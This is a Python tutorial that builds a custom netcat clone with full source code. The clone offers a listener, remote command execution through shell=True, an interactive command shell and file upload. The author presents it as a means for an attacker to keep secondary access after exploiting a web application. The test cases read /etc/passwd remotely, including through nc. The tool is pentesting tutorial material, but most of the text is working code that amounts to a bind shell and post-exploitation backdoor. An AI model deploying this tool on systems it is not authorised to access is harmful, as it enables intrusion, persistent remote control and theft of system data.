Want to code faster? Our Python Code Generator lets you create Python scripts with just a few clicks. Try it now!
Introduction
Netcat, often called the "Swiss Army Knife" of networking tools, is an essential tool for network debugging, port scanning, data transfer, and basic pentesting. This tutorial explores a custom Python implementation that provides similar functionality. Given its versatility (Netcat), it could be a powerful asset if an attacker gains access to a system.
With netcat, you can read and write data across the network, enabling you to execute remote commands, transfer files, or even open a remote shell. There have been situations where servers lacked the netcat tool but had Python installed. In such cases, creating a simple network client and server in Python can be invaluable, allowing you to push files or set up a listener for command-line access. If you've exploited a vulnerability through a web application, dropping a Python callback for secondary access can provide a secure alternative without risking the use of trojans or backdoors. This is a perfect exercise to sharpen your networking skills.
Our custom netcat implementation will offer several powerful capabilities:
- Creating client and server connections
- Executing remote commands
- File uploading
- Interactive command shell
- Graceful connection handling and error management
Now given these capabilities, you may be wondering how what we are about to build is different from a reverse shell. It's a valid thought. However, you should know that netcat is more versatile than a reverse shell. As a matter of fact, netcat can also be used as a reverse shell amongst other things - as we'll see.
Requirements
For this demonstration, I'll be making use of Kali Linux and Python 3. Netcat comes pre-installed with Kali. You can get a glimpse of the program using the following command:
$ nc -h
Implementation
Now, let's start building ours! Open up a single Python file and name it netcat.py
We'll start by importing the necessary modules. No need to install anything as they're all part of Python's standard library.
import sys, socket, getopt, threading, subprocess, signal, timesys– For system-specific parameters and functionssocket– For low-level networking interfacegetopt– For command-line option parsing. Similar to argparse, it's API is designed for users of thegetopt()function in C. Always a good idea to try different methods.threading– For creating and managing threadssubprocess– For spawning new processes and interacting with themsignal– For Handling asynchronous events (signals)time– For Time-related functions
Next, we create a class for our netcat tool. This will include all the necessary methods:
class NetCat:
def __init__(self, target, port):
self.listen = False
self.command = False
self.upload = False
self.execute = ""
self.target = target
self.upload_destination = ""
self.port = port
self.running = True
self.threads = []
def signal_handler(self, signum, frame):
print('\n[*] User requested an interrupt. Exiting gracefully.')
self.running = False
time.sleep(0.5)
sys.exit(0)
def run_command(self, cmd):
cmd = cmd.rstrip()
try:
output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
except subprocess.CalledProcessError as e:
output = e.output
except Exception as e:
output = str(e).encode()
return outputThe NetCat() class defines a network communication tool that can handle signals, run system commands, and manage various networking functions like listening, uploading, and executing commands remotely.
def handle_client(self, client_socket):
try:
if len(self.upload_destination):
file_buffer = ""
while self.running:
try:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data.decode('utf-8')
except (ConnectionResetError, BrokenPipeError) as e:
print(f"[!] Connection error during upload: {str(e)}")
break
except Exception as e:
print(f"[!] Error receiving data: {str(e)}")
break
try:
with open(self.upload_destination, "wb") as file_descriptor:
file_descriptor.write(file_buffer.encode('utf-8'))
try:
client_socket.send(
f"Successfully saved file to {self.upload_destination}\r\n".encode('utf-8'))
except (BrokenPipeError, ConnectionResetError):
print("[!] Couldn't send success message - connection lost")
except OSError as e:
print(f"[!] File operation failed: {str(e)}")
try:
client_socket.send(
f"Failed to save file to {self.upload_destination}\r\n".encode('utf-8'))
except (BrokenPipeError, ConnectionResetError):
print("[!] Couldn't send error message - connection lost")
if len(self.execute) and self.running:
try:
output = self.run_command(self.execute)
client_socket.send(output)
except (BrokenPipeError, ConnectionResetError):
print("[!] Couldn't send command output - connection lost")
except Exception as e:
print(f"[!] Error executing command: {str(e)}")
if self.command:
while self.running:
try:
# Send prompt
client_socket.send(b"<Target:#> ")
# Receive command
cmd_buffer = b''
while b"\n" not in cmd_buffer and self.running:
try:
data = client_socket.recv(1024)
if not data:
raise ConnectionResetError("No data received")
cmd_buffer += data
except socket.timeout:
continue
except (ConnectionResetError, BrokenPipeError):
raise
if not self.running:
break
# Execute command and send response
try:
cmd = cmd_buffer.decode().strip()
if cmd.lower() in ['exit', 'quit']:
print("[*] User requested exit")
break
output = self.run_command(cmd)
if output:
client_socket.send(output + b"\n")
else:
client_socket.send(b"Command completed without output\n")
except (BrokenPipeError, ConnectionResetError):
print("[!] Connection lost while sending response")
break
except Exception as e:
error_msg = f"Error executing command: {str(e)}\n"
try:
client_socket.send(error_msg.encode())
except:
break
except ConnectionResetError:
print("[!] Connection reset by peer")
break
except BrokenPipeError:
print("[!] Broken pipe - connection lost")
break
except Exception as e:
print(f"[!] Error in command loop: {str(e)}")
break
except Exception as e:
print(f"[!] Exception in handle_client: {str(e)}")
finally:
try:
client_socket.close()
print("[*] Client connection closed")
except:
passThe handle_client() method in the NetCat class manages communication with a connected client. It performs the following tasks:
- File Uploading: If a file destination is specified (
upload_destination), it listens for data from the client in chunks, storing the data in a buffer. Once the entire file is received, it attempts to save the file locally at the specified location. If successful, it sends a success message to the client; otherwise, it sends an error message if file operations fail. - Command Execution: If a command (execute) is specified, it runs the command using the
run_command()method and sends the output back to the client. - Interactive Command Shell: If the
commandflag is set, it enters a loop where it continuously prompts the client for commands. It reads the command input, executes it, and sends the output back to the client. If the command is "exit" or "quit," the connection is terminated. If any errors occur while receiving or sending data, appropriate error messages are printed and sent to the client. - Error Handling: Throughout the process, the method catches exceptions for common connection errors (like
BrokenPipeErrororConnectionResetError), and prints appropriate messages if errors occur during data reception, file saving, or command execution. - Graceful Termination: At the end of the communication, the method ensures that the client socket is closed properly.
Next, the server loop:
def server_loop(self):
server = None
try:
if not len(self.target):
self.target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((self.target, self.port))
server.listen(5)
print(f"[*] Listening on {self.target}:{self.port}")
server.settimeout(1.0)
while self.running:
try:
client_socket, addr = server.accept()
print(f"[*] Accepted connection from {addr[0]}:{addr[1]}")
client_thread = threading.Thread(
target=self.handle_client,
args=(client_socket,)
)
client_thread.daemon = True
self.threads.append(client_thread)
client_thread.start()
except socket.timeout:
continue
except Exception as e:
if self.running:
print(f"[!] Exception in server_loop: {str(e)}")
break
except Exception as e:
print(f"[!] Failed to create server: {str(e)}")
finally:
if server:
try:
server.close()
print("[*] Server socket closed")
except:
pass
for thread in self.threads:
try:
thread.join(timeout=1.0)
except threading.ThreadError:
passThe server_loop() method sets up a TCP server that listens for client connections on the specified target and port. It accepts incoming connections, spawns a new thread to handle each client with the handle_client method, and manages exceptions. The server continues running until stopped, then shuts down properly by closing the server socket and waiting for all threads to finish.
def client_sender(self, buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print(f"[*] Connecting to {self.target}:{self.port}")
client.connect((self.target, self.port))
if len(buffer):
try:
client.send(buffer.encode('utf-8'))
except (BrokenPipeError, ConnectionResetError):
print("[!] Failed to send initial buffer - connection lost")
return
while self.running:
try:
# Receive response from server
recv_len = 1
response = b''
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
if response:
print(response.decode('utf-8'), end='')
# Get next command
buffer = input()
if not self.running:
break
if buffer.lower() in ['exit', 'quit']:
break
buffer += "\n"
try:
client.send(buffer.encode('utf-8'))
except (BrokenPipeError, ConnectionResetError):
print("\n[!] Failed to send data - connection lost")
break
except ConnectionResetError:
print("\n[!] Connection reset by peer")
break
except BrokenPipeError:
print("\n[!] Broken pipe - connection lost")
break
except EOFError:
print("\n[!] EOF detected - exiting")
break
except Exception as e:
print(f"\n[!] Exception in client loop: {str(e)}")
break
except socket.error as exc:
print("\n[!] Exception! Exiting.")
print(f"[!] Caught exception socket.error: {exc}")
finally:
print("[*] Closing connection")
try:
client.close()
except:
pass
The client_sender() method establishes a TCP connection to a target server, sends an initial buffer (if provided), and enters a loop where it continuously sends user input to the server and prints the server's responses. It handles exceptions for connection issues and ensures that the connection is closed properly when the loop ends or an error occurs.
def main():
if len(sys.argv[1:]) == 0:
print("Custom Netcat")
print("\nSYNOPSIS")
print(" netcat.py [OPTIONS...]\n")
print("OPTIONS")
print(" -l, --listen Start server in listening mode on specified host:port")
print(" -e, --execute=<file> Execute specified file upon connection establishment")
print(" -c, --command Initialize an interactive command shell session")
print(" -u, --upload=<path> Upload file to specified destination path on connection")
print(" -t, --target=<host> Specify target hostname or IP address")
print(" -p, --port=<port> Specify target port number")
print()
sys.exit(0)
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help", "listen", "execute", "target",
"port", "command", "upload"])
for o, a in opts:
if o in ("-h", "--help"):
main()
elif o in ("-l", "--listen"):
toolkit.listen = True
elif o in ("-e", "--execute"):
toolkit.execute = a
elif o in ("-c", "--command"):
toolkit.command = True
elif o in ("-u", "--upload"):
toolkit.upload_destination = a
elif o in ("-t", "--target"):
toolkit.target = a
elif o in ("-p", "--port"):
toolkit.port = int(a)
else:
assert False, "Unhandled Option"
except getopt.GetoptError as err:
print(str(err))
main()
signal.signal(signal.SIGINT, toolkit.signal_handler)
signal.signal(signal.SIGTERM, toolkit.signal_handler)
try:
if not toolkit.listen and len(toolkit.target) and toolkit.port > 0:
buffer = sys.stdin.read()
toolkit.client_sender(buffer)
if toolkit.listen:
toolkit.server_loop()
except KeyboardInterrupt:
print("\n[*] User requested shutdown")
except Exception as e:
print(f"\n[!] Unexpected error: {str(e)}")
finally:
toolkit.running = False
print("[*] Shutdown complete")
sys.exit(0)
if __name__ == "__main__":
toolkit = NetCat("", 0)
main()The main() function parses command-line arguments, sets up options for running the NetCat tool in different modes, and starts either a client or server based on the provided flags. Here's a breakdown of its steps:
- Argument Parsing:
- If no arguments are provided, it displays usage information for the tool.
- It then uses
getoptto parse command-line options, such as-lfor listening mode,-efor executing a file,-cfor command shell mode,-ufor uploading a file,-tfor specifying the target, and-pfor the port.
- Signal Handling:
- It sets up signal handlers for graceful shutdown when the user sends an interrupt or termination signal (
SIGINTorSIGTERM).
- It sets up signal handlers for graceful shutdown when the user sends an interrupt or termination signal (
- Running the Client or Server:
- If
--listenis not set and a valid target and port are provided, it reads data from stdin and sends it as a buffer to the target server usingclient_sender. - If
--listenis enabled, it runs the server in listening mode usingserver_loop.
- If
- Again, Graceful Shutdown:
- The program handles
KeyboardInterruptfor a user-initiated shutdown and any unexpected errors with a catch-all exception handler. - It ensures the
NetCattool shuts down gracefully by settingtoolkit.runningtoFalseand exiting cleanly.
- The program handles
Running Our Code
Note: I am going to be running my code from the same Kali machine. However, if you have a Unix-based host machine, I strongly advise you to use it. This is because of the commands we're going to run. In our code, we have a line output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
Because we set shell=True, the consistency may not be the same on Windows.
On Unix/Linux: Commands like ls, ps, cat are built into the shell, while on Windows, commands like dir, type, echo are built into cmd.exe. This creates inconsistency between platforms.
This means that to test this program on Windows, you would need to set shell=False and specify Windows commands. However, that's beyond the scope of this program.
As a penetration tester, you'll mostly be operating unix-based systems anyway.
You can check out our reverse shell tutorial to see how to specify custom OS commands.
Don't worry, my demonstration isn't going to confuse you as I'll be running the program from two different directories within Kali, but the same concepts apply in a real world scenario.
So, open up a terminal, navigate to the directory where you have your code saved. Copy your Python file to another directory. One of the scripts will serve as the listener while the other will serve as the client side.
First Test Case
Command for the (Listener). This is for testing the system commands:
$ python3 netcat.py -t 192.168.17.128 -p 8080 -l -cResult:
The Listener is listening. Next, we run the client side. Notice that the directories will be different but the same code.
Result:
Notice that the Pwd command gives us the directory of where we ran the listener. You can use "quit", "exit" or Ctrl + C to exit the program.
Second Test Case
Now that we have seen an example with basic system commands, let's explore how we can execute files on the target system (using the -e flag). For this test case, we'll try to view the content of the /etc/passwd.
/etc/passwd is a system file on Unix-like operating systems that stores essential information about all user accounts on the system, such as usernames, user IDs, group IDs, home directories, and default shells.
To do this, run the following:
Command(Listener):
$ python3 netcat.py -t 192.168.17.128 -p 8080 -l -e "cat /etc/passwd"Command (Client):
$ python3 netcat.py -t 192.168.17.128 -p 8080As always, you run the listener before the client side.
Result:
As you can see, we were able to obtain the contents of the /etc/passwd file.
Third Test Case
For the third and final test case, we'll combine our program with the actual Netcat program. We'll again try to view the contents of the /etc/passwd however this time, instead of using our program as the client, we'll use Netcat.
Command (Listener) will be same as before:
$ python3 netcat.py -t 192.168.17.128 -p 8080 -l -e "cat /etc/passwd"Command (Client):
$ nc 192.168.17.128 8080Result:
We have the same result as before even though we used Netcat this time. I'm sure now we can see how important this tutorial is.
Conclusion
We have seen various use cases and the importance of netcat in Networking and Cybersecurity. Feel free to test the other features that were not demonstrated in this tutorial (like File Upload). You can also modify it and add other features you want. That's the point of building ours!
Check out similar tutorials:
I hope you enjoyed this one. Till next time!
Want to code smarter? Our Python Code Assistant is waiting to help you. Try it now!
View Full Code Generate Python Code
Got a coding query or need some guidance before you comment? Check out this Python Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!